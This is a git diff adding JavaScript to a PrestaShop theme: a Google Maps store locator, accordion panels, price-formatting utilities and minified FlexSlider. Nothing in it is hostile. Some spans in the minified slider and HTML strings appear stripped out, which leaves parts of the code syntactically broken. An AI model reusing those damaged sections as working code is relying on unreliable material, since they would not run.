              '; + var image = new google.maps.MarkerImage(img_ps_dir+logo_store); + var marker = ''; + + if (hasStoreIcon) + marker = new google.maps.Marker({ map: map, icon: image, position: latlng }); + else + marker = new google.maps.Marker({ map: map, position: latlng }); + google.maps.event.addListener(marker, 'click', function() { + infoWindow.setContent(html); + infoWindow.open(map, marker); + // map.setCenter(marker.getPosition()); + }); + markers.push(marker); +} + +function createOption(name, distance, num) +{ + var option = document.createElement('option'); + option.value = num; + option.innerHTML = name+' ('+distance.toFixed(1)+' '+distance_unit+')'; + locationSelect.appendChild(option); +} + +function downloadUrl(url, callback) +{ + var request = window.ActiveXObject ? + new ActiveXObject('Microsoft.XMLHTTP') : + new XMLHttpRequest(); + + request.onreadystatechange = function() { + if (request.readyState === 4) { + request.onreadystatechange = doNothing; + callback(request.responseText, request.status); + } + }; + + request.open('GET', url, true); + request.send(null); +} + +function parseXml(str) +{ + if (window.ActiveXObject) { + var doc = new ActiveXObject('Microsoft.XMLDOM'); + doc.loadXML(str); + return doc; + } + else if (window.DOMParser) { + return (new DOMParser()).parseFromString(str, 'text/xml'); + } +} + +function doNothing() {} + +$(document).ready(function() +{ + + if($('#page').length==1){ + map = new google.maps.Map(document.getElementById('map'), { + center: new google.maps.LatLng(defaultLat, defaultLong), + zoom: 16, + // mapTypeId: 'roadmap', + mapTypeId: 'roadmap', + mapTypeControlOptions: {style: google.maps.MapTypeControlStyle.DROPDOWN_MENU} + }); + map.setZoom(16); + infoWindow = new google.maps.InfoWindow(); + + locationSelect = document.getElementById('locationSelect'); + locationSelect.onchange = function() { + var markerNum = locationSelect.options[locationSelect.selectedIndex].value; + if (markerNum !== 'none') + google.maps.event.trigger(markers[markerNum], 'click'); + }; + + // $('#addressInput').keypress(function(e) { + // code = e.keyCode ? e.keyCode : e.which; + // if(code.toString() === 10) + // searchLocations(); + // }); + + + // initMarkers(); + + if($('#addressInput').val()==''){ + $('#addressInput').attr('value','Paris'); + }else{ + $('#submitAddressInput').click(); + } + } +}); diff --git a/themes/default/js/storesmobile.js b/themes/default/js/storesmobile.js new file mode 100755 index 0000000..f648e5f --- /dev/null +++ b/themes/default/js/storesmobile.js @@ -0,0 +1,45 @@ +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +$(document).ready(function() +{ + map = new google.maps.Map(document.getElementById('map'), { + center: new google.maps.LatLng(defaultLat, defaultLong), + zoom: 10, + // mapTypeId: 'roadmap', + mapTypeId: 'roadmap', + mapTypeControlOptions: {style: google.maps.MapTypeControlStyle.DROPDOWN_MENU} + }); + infoWindow = new google.maps.InfoWindow(); + + locationSelect = document.getElementById('locationSelect'); + // initMarkers(); + + if($('#addressInput').val()==''){ + $('#addressInput').attr('value','Paris'); + } + $('#submitAddressInput').click(); +}); + diff --git a/themes/default/js/tiroirh3.js b/themes/default/js/tiroirh3.js new file mode 100755 index 0000000..7ed1ead --- /dev/null +++ b/themes/default/js/tiroirh3.js @@ -0,0 +1,153 @@ +function replaceCrochets(){ + // $('h1,h2,h1 a,h3 a,breadcrumb,strong,.title_block').each(function(){ + // var thisHtml=$(this).html(); + // var newHtml=thisHtml.replace('[','['); + // newHtml=newHtml.replace(']',']'); + // newHtml=newHtml.replace('®','®'); + // if(thisHtml!=newHtml){ + // if($(this).find('.r').length==0 && $(this).find('.g').length==0) + // $(this).html(newHtml); + // } + // }); + $('.subtitle,li a,h1,h2,h1 a,h3 a,h4 a,breadcrumb,strong,.title_block,h3 span.uppercase').each(function(){ + var thisHtml=$(this).html(); + var newHtml=""; + if($(this).find('.g').length==0){ + newHtml=thisHtml.replace('[','['); + newHtml=newHtml.replace(']',']'); + } + if($(this).find('.r').length==0) + newHtml=newHtml.replace('®','®'); + + newHtml=newHtml.replace('coeur','cœur'); + + if(thisHtml!=newHtml){ + // if($(this).find('.r').length==0 && $(this).find('.g').length==0) + $(this).html(newHtml); + } + }); +} + $(document).ready(function() { + + if($('.submit.align_center').length>0){ + var widthRituel=468; + $('.submit.align_center').each(function(){ + var widthBtn=$(this).find('.ui-link').width(); + if(widthBtn>0){ + var paddLeftRituel=Math.round((widthRituel-widthBtn)/2); + }else{ + var widthBtn=$(this).find('.ui-btn').width(); + } + + var paddLeftRituel=Math.round((widthRituel-widthBtn)/2); + $(this).css('margin-left',paddLeftRituel+'px'); + $(this).css('height','80px'); + $(this).find('.ui-link').css('float','left').css('margin','0'); + $(this).find('.ui-btn').css('float','left').css('margin','0').css('padding','0 40px').css('margin','0 0 0 -40px'); + + + }); + } + + if($('.borderGreen .tiroir').length>0){ + var i=0; + $('.tiroir h3').each(function(i){ + if(!$(this).attr('id')) + $(this).attr('id',"tiroir_num_"+i); + }); + + // $('.borderGreen .tiroir:first-child').addClass('open'); + // $('.borderGreen .tiroir:first-child div.texte').show(); + $('.tiroir h3').click(function(){ + var idClick=$(this).attr('id'); + // var newId=$(this).parent().attr('id'); + if($('.tiroir.open').length>0){ + if($('.tiroir.open .texte').slideUp('fast',function(){ + document.location.href="#"+idClick; + $('.tiroir.open').removeClass('open'); + })){ + if($(this).parent().hasClass('open')){ + //fermeture + + $(this).parent().find('.texte').slideUp('fast',function(){ + document.location.href="#"+idClick; + $(this).parent().removeClass('open'); + }); + }else{ + //ouverture + $(this).parent().find('.texte').slideDown('fast',function(){ + $(this).parent().addClass('open'); + // document.location.href="#"+newId; + if($('#diagnostic').length>0){ + var widthRituel=$('.tiroirs').width(); + var widthBtn=$(this).find('.commanderRituel').find('.ui-btn').width(); + var paddLeftRituel=Math.round((widthRituel-widthBtn)/2); + $(this).find('.commanderRituel').css('float','left').css('padding-left',paddLeftRituel+'px'); + } + }); + } + } + }else{ + if($(this).parent().hasClass('open')){ + //fermeture + $(this).parent().find('.texte').slideUp('fast',function(){ + document.location.href="#"+idClick; + $(this).parent().removeClass('open'); + }); + }else{ + $(this).parent().find('.texte').slideDown('fast',function(){ + $(this).parent().addClass('open'); + // document.location.href="#"+newId; + if($('#diagnostic').length>0){ + var widthRituel=$('.tiroirs').width(); + var widthBtn=$(this).find('.commanderRituel').find('.ui-btn').width(); + var paddLeftRituel=Math.round((widthRituel-widthBtn)/2); + $(this).find('.commanderRituel').css('float','left').css('padding-left',paddLeftRituel+'px'); + } + }); + } + } + }); + } + if($('.borderGreen .tiroir2').length>0){ + + // $('.borderGreen .tiroir:first-child').addClass('open'); + // $('.borderGreen .tiroir:first-child div.texte').show(); + $('.tiroir h4').click(function(){ + // var newId=$(this).parent().attr('id'); + if($('.tiroir2.open').length>0){ + if($('.tiroir2.open .texte').slideUp('fast',function(){ + $('.tiroir2.open').removeClass('open'); + })){ + if($(this).parent().hasClass('open')){ + //fermeture + + $(this).parent().find('.texte2').slideUp('fast',function(){ + $(this).parent().removeClass('open'); + }); + }else{ + //ouverture + $(this).parent().find('.texte2').slideDown('fast',function(){ + $(this).parent().addClass('open'); + // document.location.href="#"+newId; + }); + } + } + }else{ + if($(this).parent().hasClass('open')){ + //fermeture + + $(this).parent().find('.texte2').slideUp('fast',function(){ + $(this).parent().removeClass('open'); + }); + }else{ + //ouverture + $(this).parent().find('.texte2').slideDown('fast',function(){ + $(this).parent().addClass('open'); + // document.location.href="#"+newId; + }); + } + } + }); + } +}); \ No newline at end of file diff --git a/themes/default/js/tools.js b/themes/default/js/tools.js new file mode 100755 index 0000000..654c6ca --- /dev/null +++ b/themes/default/js/tools.js @@ -0,0 +1,251 @@ +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +function ps_round(value, precision) +{ + if (typeof(roundMode) === 'undefined') + roundMode = 2; + if (typeof(precision) === 'undefined') + precision = 2; + + method = roundMode; + if (method === 0) + return ceilf(value, precision); + else if (method === 1) + return floorf(value, precision); + precisionFactor = precision === 0 ? 1 : Math.pow(10, precision); + return Math.round(value * precisionFactor) / precisionFactor; +} + +function ceilf(value, precision) +{ + if (typeof(precision) === 'undefined') + precision = 0; + precisionFactor = precision === 0 ? 1 : Math.pow(10, precision); + tmp = value * precisionFactor; + tmp2 = tmp.toString(); + if (tmp2[tmp2.length - 1] === 0) + return value; + return Math.ceil(value * precisionFactor) / precisionFactor; +} + +function floorf(value, precision) +{ + if (typeof(precision) === 'undefined') + precision = 0; + precisionFactor = precision === 0 ? 1 : Math.pow(10, precision); + tmp = value * precisionFactor; + tmp2 = tmp.toString(); + if (tmp2[tmp2.length - 1] === 0) + return value; + return Math.floor(value * precisionFactor) / precisionFactor; +} + +function formatedNumberToFloat(price, currencyFormat, currencySign) +{ + price = price.replace(currencySign, ''); + if (currencyFormat === 1) + return parseFloat(price.replace(',', '').replace(' ', '')); + else if (currencyFormat === 2) + return parseFloat(price.replace(' ', '').replace(',', '.')); + else if (currencyFormat === 3) + return parseFloat(price.replace('.', '').replace(' ', '').replace(',', '.')); + else if (currencyFormat === 4) + return parseFloat(price.replace(',', '').replace(' ', '')); + return price; +} + +//return a formatted price +function formatCurrency(price, currencyFormat, currencySign, currencyBlank) +{ + // if you modified this function, don't forget to modify the PHP function displayPrice (in the Tools.php class) + blank = ''; + price = parseFloat(price.toFixed(6)); + price = ps_round(price, priceDisplayPrecision); + if (currencyBlank > 0) + blank = ' '; + if (currencyFormat == 1) + return currencySign + blank + formatNumber(price, priceDisplayPrecision, ',', '.'); + if (currencyFormat == 2) + return (formatNumber(price, priceDisplayPrecision, ' ', ',') + blank + currencySign); + if (currencyFormat == 3) + return (currencySign + blank + formatNumber(price, priceDisplayPrecision, '.', ',')); + if (currencyFormat == 4) + return (formatNumber(price, priceDisplayPrecision, ',', '.') + blank + currencySign); + if (currencyFormat == 5) + return (formatNumber(price, priceDisplayPrecision, ' ', '.') + blank + currencySign); + return price; +} + +//return a formatted number +function formatNumber(value, numberOfDecimal, thousenSeparator, virgule) +{ + value = value.toFixed(numberOfDecimal); + var val_string = value+''; + var tmp = val_string.split('.'); + var abs_val_string = (tmp.length === 2) ? tmp[0] : val_string; + var deci_string = ('0.' + (tmp.length === 2 ? tmp[1] : 0)).substr(2); + var nb = abs_val_string.length; + + for (var i = 1 ; i < 4; i++) + if (value >= Math.pow(10, (3 * i))) + abs_val_string = abs_val_string.substring(0, nb - (3 * i)) + thousenSeparator + abs_val_string.substring(nb - (3 * i)); + + if (parseInt(numberOfDecimal) === 0) + return abs_val_string; + return abs_val_string + virgule + (deci_string > 0 ? deci_string : '00'); +} + +//change the text of a jQuery element with a sliding effect (velocity could be a number in ms, 'slow' or 'fast', effect1 and effect2 could be slide, fade, hide, show) +function updateTextWithEffect(jQueryElement, text, velocity, effect1, effect2, newClass) +{ + if(jQueryElement.text() !== text) + if(effect1 === 'fade') + jQueryElement.fadeOut(velocity, function(){ + $(this).addClass(newClass); + if(effect2 === 'fade') $(this).text(text).fadeIn(velocity); + else if(effect2 === 'slide') $(this).text(text).slideDown(velocity); + else if(effect2 === 'show') $(this).text(text).show(velocity, function(){}); + }); + else if(effect1 === 'slide') + jQueryElement.slideUp(velocity, function(){ + $(this).addClass(newClass); + if(effect2 === 'fade') $(this).text(text).fadeIn(velocity); + else if(effect2 === 'slide') $(this).text(text).slideDown(velocity); + else if(effect2 === 'show') $(this).text(text).show(velocity); + }); + else if(effect1 === 'hide') + jQueryElement.hide(velocity, function(){ + $(this).addClass(newClass); + if(effect2 === 'fade') $(this).text(text).fadeIn(velocity); + else if(effect2 === 'slide') $(this).text(text).slideDown(velocity); + else if(effect2 === 'show') $(this).text(text).show(velocity); + }); +} + +//show a JS debug +function dbg(value) +{ + var active = false;//true for active + var firefox = true;//true if debug under firefox + + if (active) + if (firefox) + console.log(value); + else + alert(value); +} + +/** +* Function : print_r() +* Arguments: The data - array,hash(associative array),object +* The level - OPTIONAL +* Returns : The textual representation of the array. +* This function was inspired by the print_r function of PHP. +* This will accept some data as the argument and return a +* text that will be a more readable version of the +* array/hash/object that is given. +*/ +function print_r(arr, level) +{ + var dumped_text = ""; + if (!level) + level = 0; + + //The padding given at the beginning of the line. + var level_padding = ""; + for (var j = 0 ; j < level + 1; j++) + level_padding += " "; + + if (typeof(arr) === 'object') + { //Array/Hashes/Objects + for (var item in arr) + { + var value = arr[item]; + if (typeof(value) === 'object') { //If it is an array, + dumped_text += level_padding + "'" + item + "' ...\n"; + dumped_text += dump(value,level+1); + } + else + { + dumped_text += level_padding + "'" + item + "' => \"" + value + "\"\n"; + } + } + } + else + { //Stings/Chars/Numbers etc. + dumped_text = "===>" + arr + "<===("+typeof(arr)+")"; + } + return dumped_text; +} + +//verify if value is in the array +function in_array(value, array) +{ + for (var i in array) + if (array[i] === value) + return true; + return false; +} + +function resizeAddressesBox(nameBox) +{ + maxHeight = 0; + + if (typeof(nameBox) === 'undefined') + nameBox = '.address'; + $(nameBox).each(function() + { + $(this).css('height', 'auto'); + currentHeight = $(this).height(); + if (maxHeight < currentHeight) + maxHeight = currentHeight; + }); + $(nameBox).height(maxHeight); +} + +$(document).ready(function() { + $.fn.checkboxChange = function(fnChecked, fnUnchecked) { + if ($(this).prop('checked') && fnChecked) + fnChecked.call(this); + else if(fnUnchecked) + fnUnchecked.call(this); + + if (!$(this).attr('eventCheckboxChange')) + { + $(this).live('change', function() { $(this).checkboxChange(fnChecked, fnUnchecked); }); + $(this).attr('eventCheckboxChange', true); + } + }; +}); + + +// Use it to simulate target blank link +$(function(){ + $('a.js-new-window').click(function(){ + window.open(this.href); + return false; + }); +}); diff --git a/themes/default/js/tools/flexslider.js b/themes/default/js/tools/flexslider.js new file mode 100644 index 0000000..54f2ca9 --- /dev/null +++ b/themes/default/js/tools/flexslider.js @@ -0,0 +1,5 @@ +/* + * jQuery FlexSlider v2.5.0 + * Copyright 2012 WooThemes + * Contributing Author: Tyler Smith + */!function($){$.flexslider=function(e,t){var a=$(e);a.vars=$.extend({},$.flexslider.defaults,t);var n=a.vars.namespace,i=window.navigator&&window.navigator.msPointerEnabled&&window.MSGesture,s=("ontouchstart"in window||i||window.DocumentTouch&&document instanceof DocumentTouch)&&a.vars.touch,r="click touchend MSPointerUp keyup",o="",l,c="vertical"===a.vars.direction,d=a.vars.reverse,u=a.vars.itemWidth>0,v="fade"===a.vars.animation,p=""!==a.vars.asNavFor,m={},f=!0;$.data(e,"flexslider",a),m={init:function(){a.animating=!1,a.currentSlide=parseInt(a.vars.startAt?a.vars.startAt:0,10),isNaN(a.currentSlide)&&(a.currentSlide=0),a.animatingTo=a.currentSlide,a.atEnd=0===a.currentSlide||a.currentSlide===a.last,a.containerSelector=a.vars.selector.substr(0,a.vars.selector.search(" ")),a.slides=$(a.vars.selector,a),a.container=$(a.containerSelector,a),a.count=a.slides.length,a.syncExists=$(a.vars.sync).length>0,"slide"===a.vars.animation&&(a.vars.animation="swing"),a.prop=c?"top":"marginLeft",a.args={},a.manualPause=!1,a.stopped=!1,a.started=!1,a.startTimeout=null,a.transitions=!a.vars.video&&!v&&a.vars.useCSS&&function(){var e=document.createElement("div"),t=["perspectiveProperty","WebkitPerspective","MozPerspective","OPerspective","msPerspective"];for(var n in t)if(void 0!==e.style[t[n]])return a.pfx=t[n].replace("Perspective","").toLowerCase(),a.prop="-"+a.pfx+"-transform",!0;return!1}(),a.ensureAnimationEnd="",""!==a.vars.controlsContainer&&(a.controlsContainer=$(a.vars.controlsContainer).length>0&&$(a.vars.controlsContainer)),""!==a.vars.manualControls&&(a.manualControls=$(a.vars.manualControls).length>0&&$(a.vars.manualControls)),""!==a.vars.customDirectionNav&&(a.customDirectionNav=2===$(a.vars.customDirectionNav).length&&$(a.vars.customDirectionNav)),a.vars.randomize&&(a.slides.sort(function(){return Math.round(Math.random())-.5}),a.container.empty().append(a.slides)),a.doMath(),a.setup("init"),a.vars.controlNav&&m.controlNav.setup(),a.vars.directionNav&&m.directionNav.setup(),a.vars.keyboard&&(1===$(a.containerSelector).length||a.vars.multipleKeyboard)&&$(document).bind("keyup",function(e){var t=e.keyCode;if(!a.animating&&(39===t||37===t)){var n=39===t?a.getTarget("next"):37===t?a.getTarget("prev"):!1;a.flexAnimate(n,a.vars.pauseOnAction)}}),a.vars.mousewheel&&a.bind("mousewheel",function(e,t,n,i){e.preventDefault();var s=a.getTarget(0>t?"next":"prev");a.flexAnimate(s,a.vars.pauseOnAction)}),a.vars.pausePlay&&m.pausePlay.setup(),a.vars.slideshow&&a.vars.pauseInvisible&&m.pauseInvisible.init(),a.vars.slideshow&&(a.vars.pauseOnHover&&a.hover(function(){a.manualPlay||a.manualPause||a.pause()},function(){a.manualPause||a.manualPlay||a.stopped||a.play()}),a.vars.pauseInvisible&&m.pauseInvisible.isHidden()||(a.vars.initDelay>0?a.startTimeout=setTimeout(a.play,a.vars.initDelay):a.play())),p&&m.asNav.setup(),s&&a.vars.touch&&m.touch(),(!v||v&&a.vars.smoothHeight)&&$(window).bind("resize orientationchange focus",m.resize),a.find("img").attr("draggable","false"),setTimeout(function(){a.vars.start(a)},200)},asNav:{setup:function(){a.asNav=!0,a.animatingTo=Math.floor(a.currentSlide/a.move),a.currentItem=a.currentSlide,a.slides.removeClass(n+"active-slide").eq(a.currentItem).addClass(n+"active-slide"),i?(e._slider=a,a.slides.each(function(){var e=this;e._gesture=new MSGesture,e._gesture.target=e,e.addEventListener("MSPointerDown",function(e){e.preventDefault(),e.currentTarget._gesture&&e.currentTarget._gesture.addPointer(e.pointerId)},!1),e.addEventListener("MSGestureTap",function(e){e.preventDefault();var t=$(this),n=t.index();$(a.vars.asNavFor).data("flexslider").animating||t.hasClass("active")||(a.direction=a.currentItem=s&&t.hasClass(n+"active-slide")?a.flexAnimate(a.getTarget("prev"),!0):$(a.vars.asNavFor).data("flexslider").animating||t.hasClass(n+"active-slide")||(a.direction=a.currentItem
            '),a.pagingCount>1)for(var l=0;l':""+t+"","thumbnails"===a.vars.controlNav&&!0===a.vars.thumbCaptions){var c=s.attr("data-thumbcaption");""!==c&&void 0!==c&&(i+=''+c+"")}a.controlNavScaffold.append("
          • "+i+"
          • "),t++}a.controlsContainer?$(a.controlsContainer).append(a.controlNavScaffold):a.append(a.controlNavScaffold),m.controlNav.set(),m.controlNav.active(),a.controlNavScaffold.delegate("a, img",r,function(e){if(e.preventDefault(),""===o||o===e.type){var t=$(this),i=a.controlNav.index(t);t.hasClass(n+"active")||(a.direction=i>a.currentSlide?"next":"prev",a.flexAnimate(i,a.vars.pauseOnAction))}""===o&&(o=e.type),m.setToClearWatchedEvent()})},setupManual:function(){a.controlNav=a.manualControls,m.controlNav.active(),a.controlNav.bind(r,function(e){if(e.preventDefault(),""===o||o===e.type){var t=$(this),i=a.controlNav.index(t);t.hasClass(n+"active")||(a.direction=i>a.currentSlide?"next":"prev",a.flexAnimate(i,a.vars.pauseOnAction))}""===o&&(o=e.type),m.setToClearWatchedEvent()})},set:function(){var e="thumbnails"===a.vars.controlNav?"img":"a";a.controlNav=$("."+n+"control-nav li "+e,a.controlsContainer?a.controlsContainer:a)},active:function(){a.controlNav.removeClass(n+"active").eq(a.animatingTo).addClass(n+"active")},update:function(e,t){a.pagingCount>1&&"add"===e?a.controlNavScaffold.append($("
          • "+a.count+"
          • ")):1===a.pagingCount?a.controlNavScaffold.find("li").remove():a.controlNav.eq(t).closest("li").remove(),m.controlNav.set(),a.pagingCount>1&&a.pagingCount!==a.controlNav.length?a.update(t,e):m.controlNav.active()}},directionNav:{setup:function(){var e=$('");a.customDirectionNav?a.directionNav=a.customDirectionNav:a.controlsContainer?($(a.controlsContainer).append(e),a.directionNav=$("."+n+"direction-nav li a",a.controlsContainer)):(a.append(e),a.directionNav=$("."+n+"direction-nav li a",a)),m.directionNav.update(),a.directionNav.bind(r,function(e){e.preventDefault();var t;(""===o||o===e.type)&&(t=a.getTarget($(this).hasClass(n+"next")?"next":"prev"),a.flexAnimate(t,a.vars.pauseOnAction)),""===o&&(o=e.type),m.setToClearWatchedEvent()})},update:function(){var e=n+"disabled";1===a.pagingCount?a.directionNav.addClass(e).attr("tabindex","-1"):a.vars.animationLoop?a.directionNav.removeClass(e).removeAttr("tabindex"):0===a.animatingTo?a.directionNav.removeClass(e).filter("."+n+"prev").addClass(e).attr("tabindex","-1"):a.animatingTo===a.last?a.directionNav.removeClass(e).filter("."+n+"next").addClass(e).attr("tabindex","-1"):a.directionNav.removeClass(e).removeAttr("tabindex")}},pausePlay:{setup:function(){var e=$('
            ');a.controlsContainer?(a.controlsContainer.append(e),a.pausePlay=$("."+n+"pauseplay a",a.controlsContainer)):(a.append(e),a.pausePlay=$("."+n+"pauseplay a",a)),m.pausePlay.update(a.vars.slideshow?n+"pause":n+"play"),a.pausePlay.bind(r,function(e){e.preventDefault(),(""===o||o===e.type)&&($(this).hasClass(n+"pause")?(a.manualPause=!0,a.manualPlay=!1,a.pause()):(a.manualPause=!1,a.manualPlay=!0,a.play())),""===o&&(o=e.type),m.setToClearWatchedEvent()})},update:function(e){"play"===e?a.pausePlay.removeClass(n+"pause").addClass(n+"play").html(a.vars.playText):a.pausePlay.removeClass(n+"play").addClass(n+"pause").html(a.vars.pauseText)}},touch:function(){function t(t){t.stopPropagation(),a.animating?t.preventDefault():(a.pause(),e._gesture.addPointer(t.pointerId),w=0,p=c?a.h:a.w,f=Number(new Date),l=u&&d&&a.animatingTo===a.last?0:u&&d?a.limit-(a.itemW+a.vars.itemMargin)*a.move*a.animatingTo:u&&a.currentSlide===a.last?a.limit:u?(a.itemW+a.vars.itemMargin)*a.move*a.currentSlide:d?(a.last-a.currentSlide+a.cloneOffset)*p:(a.currentSlide+a.cloneOffset)*p)}function n(t){t.stopPropagation();var a=t.target._slider;if(a){var n=-t.translationX,i=-t.translationY;return w+=c?i:n,m=w,y=c?Math.abs(w)500)&&(t.preventDefault(),!v&&a.transitions&&(a.vars.animationLoop||(m=w/(0===a.currentSlide&&0>w||a.currentSlide===a.last&&w>0?Math.abs(w)/p+2:1)),a.setProps(l+m,"setTouch"))))}}function s(e){e.stopPropagation();var t=e.target._slider;if(t){if(t.animatingTo===t.currentSlide&&!y&&null!==m){var a=d?-m:m,n=t.getTarget(a>0?"next":"prev");t.canAdvance(n)&&(Number(new Date)-f<550&&Math.abs(a)>50||Math.abs(a)>p/2)?t.flexAnimate(n,t.vars.pauseOnAction):v||t.flexAnimate(t.currentSlide,t.vars.pauseOnAction,!0)}r=null,o=null,m=null,l=null,w=0}}var r,o,l,p,m,f,g,h,S,y=!1,x=0,b=0,w=0;i?(e.style.msTouchAction="none",e._gesture=new MSGesture,e._gesture.target=e,e.addEventListener("MSPointerDown",t,!1),e._slider=a,e.addEventListener("MSGestureChange",n,!1),e.addEventListener("MSGestureEnd",s,!1)):(g=function(t){a.animating?t.preventDefault():(window.navigator.msPointerEnabled||1===t.touches.length)&&(a.pause(),p=c?a.h:a.w,f=Number(new Date),x=t.touches[0].pageX,b=t.touches[0].pageY,l=u&&d&&a.animatingTo===a.last?0:u&&d?a.limit-(a.itemW+a.vars.itemMargin)*a.move*a.animatingTo:u&&a.currentSlide===a.last?a.limit:u?(a.itemW+a.vars.itemMargin)*a.move*a.currentSlide:d?(a.last-a.currentSlide+a.cloneOffset)*p:(a.currentSlide+a.cloneOffset)*p,r=c?b:x,o=c?x:b,e.addEventListener("touchmove",h,!1),e.addEventListener("touchend",S,!1))},h=function(e){x=e.touches[0].pageX,b=e.touches[0].pageY,m=c?r-b:r-x,y=c?Math.abs(m)t)&&(e.preventDefault(),!v&&a.transitions&&(a.vars.animationLoop||(m/=0===a.currentSlide&&0>m||a.currentSlide===a.last&&m>0?Math.abs(m)/p+2:1),a.setProps(l+m,"setTouch")))},S=function(t){if(e.removeEventListener("touchmove",h,!1),a.animatingTo===a.currentSlide&&!y&&null!==m){var n=d?-m:m,i=a.getTarget(n>0?"next":"prev");a.canAdvance(i)&&(Number(new Date)-f<550&&Math.abs(n)>50||Math.abs(n)>p/2)?a.flexAnimate(i,a.vars.pauseOnAction):v||a.flexAnimate(a.currentSlide,a.vars.pauseOnAction,!0)}e.removeEventListener("touchend",S,!1),r=null,o=null,m=null,l=null},e.addEventListener("touchstart",g,!1))},resize:function(){!a.animating&&a.is(":visible")&&(u||a.doMath(),v?m.smoothHeight():u?(a.slides.width(a.computedW),a.update(a.pagingCount),a.setProps()):c?(a.viewport.height(a.h),a.setProps(a.h,"setTotal")):(a.vars.smoothHeight&&m.smoothHeight(),a.newSlides.width(a.computedW),a.setProps(a.computedW,"setTotal")))},smoothHeight:function(e){if(!c||v){var t=v?a:a.viewport;e?t.animate({height:a.slides.eq(a.animatingTo).height()},e):t.height(a.slides.eq(a.animatingTo).height())}},sync:function(e){var t=$(a.vars.sync).data("flexslider"),n=a.animatingTo;switch(e){case"animate":t.flexAnimate(n,a.vars.pauseOnAction,!1,!0);break;case"play":t.playing||t.asNav||t.play();break;case"pause":t.pause()}},uniqueID:function(e){return e.filter("[id]").add(e.find("[id]")).each(function(){var e=$(this);e.attr("id",e.attr("id")+"_clone")}),e},pauseInvisible:{visProp:null,init:function(){var e=m.pauseInvisible.getHiddenProp();if(e){var t=e.replace(/[H|h]idden/,"")+"visibilitychange";document.addEventListener(t,function(){m.pauseInvisible.isHidden()?a.startTimeout?clearTimeout(a.startTimeout):a.pause():a.started?a.play():a.vars.initDelay>0?setTimeout(a.play,a.vars.initDelay):a.play()})}},isHidden:function(){var e=m.pauseInvisible.getHiddenProp();return e?document[e]:!1},getHiddenProp:function(){var e=["webkit","moz","ms","o"];if("hidden"in document)return"hidden";for(var t=0;ta.currentSlide?"next":"prev"),p&&1===a.pagingCount&&(a.direction=a.currentItema.limit&&1!==a.visible?a.limit:S):h=0===a.currentSlide&&e===a.count-1&&a.vars.animationLoop&&"next"!==a.direction?d?(a.count+a.cloneOffset)*f:0:a.currentSlide===a.last&&0===e&&a.vars.animationLoop&&"prev"!==a.direction?d?0:(a.count+1)*f:d?(a.count-1-e+a.cloneOffset)*f:(e+a.cloneOffset)*f,a.setProps(h,"",a.vars.animationSpeed),a.transitions?(a.vars.animationLoop&&a.atEnd||(a.animating=!1,a.currentSlide=a.animatingTo),a.container.unbind("webkitTransitionEnd transitionend"),a.container.bind("webkitTransitionEnd transitionend",function(){clearTimeout(a.ensureAnimationEnd),a.wrapup(f)}),clearTimeout(a.ensureAnimationEnd),a.ensureAnimationEnd=setTimeout(function(){a.wrapup(f)},a.vars.animationSpeed+100)):a.container.animate(a.args,a.vars.animationSpeed,a.vars.easing,function(){a.wrapup(f)})}a.vars.smoothHeight&&m.smoothHeight(a.vars.animationSpeed)}},a.wrapup=function(e){v||u||(0===a.currentSlide&&a.animatingTo===a.last&&a.vars.animationLoop?a.setProps(e,"jumpEnd"):a.currentSlide===a.last&&0===a.animatingTo&&a.vars.animationLoop&&a.setProps(e,"jumpStart")),a.animating=!1,a.currentSlide=a.animatingTo,a.vars.after(a)},a.animateSlides=function(){!a.animating&&f&&a.flexAnimate(a.getTarget("next"))},a.pause=function(){clearInterval(a.animatedSlides),a.animatedSlides=null,a.playing=!1,a.vars.pausePlay&&m.pausePlay.update("play"),a.syncExists&&m.sync("pause")},a.play=function(){a.playing&&clearInterval(a.animatedSlides),a.animatedSlides=a.animatedSlides||setInterval(a.animateSlides,a.vars.slideshowSpeed),a.started=a.playing=!0,a.vars.pausePlay&&m.pausePlay.update("pause"),a.syncExists&&m.sync("play")},a.stop=function(){a.pause(),a.stopped=!0},a.canAdvance=function(e,t){var n=p?a.pagingCount-1:a.last;return t?!0:p&&a.currentItem===a.count-1&&0===e&&"prev"===a.direction?!0:p&&0===a.currentItem&&e===a.pagingCount-1&&"next"!==a.direction?!1:e!==a.currentSlide||p?a.vars.animationLoop?!0:a.atEnd&&0===a.currentSlide&&e===n&&"next"!==a.direction?!1:a.atEnd&&a.currentSlide===n&&0===e&&"next"===a.direction?!1:!0:!1},a.getTarget=function(e){return a.direction=e,"next"===e?a.currentSlide===a.last?0:a.currentSlide+1:0===a.currentSlide?a.last:a.currentSlide-1},a.setProps=function(e,t,n){var i=function(){var n=e?e:(a.itemW+a.vars.itemMargin)*a.move*a.animatingTo,i=function(){if(u)return"setTouch"===t?e:d&&a.animatingTo===a.last?0:d?a.limit-(a.itemW+a.vars.itemMargin)*a.move*a.animatingTo:a.animatingTo===a.last?a.limit:n;switch(t){case"setTotal":return d?(a.count-1-a.currentSlide+a.cloneOffset)*e:(a.currentSlide+a.cloneOffset)*e;case"setTouch":return d?e:e;case"jumpEnd":return d?e:a.count*e;case"jumpStart":return d?a.count*e:e;default:return 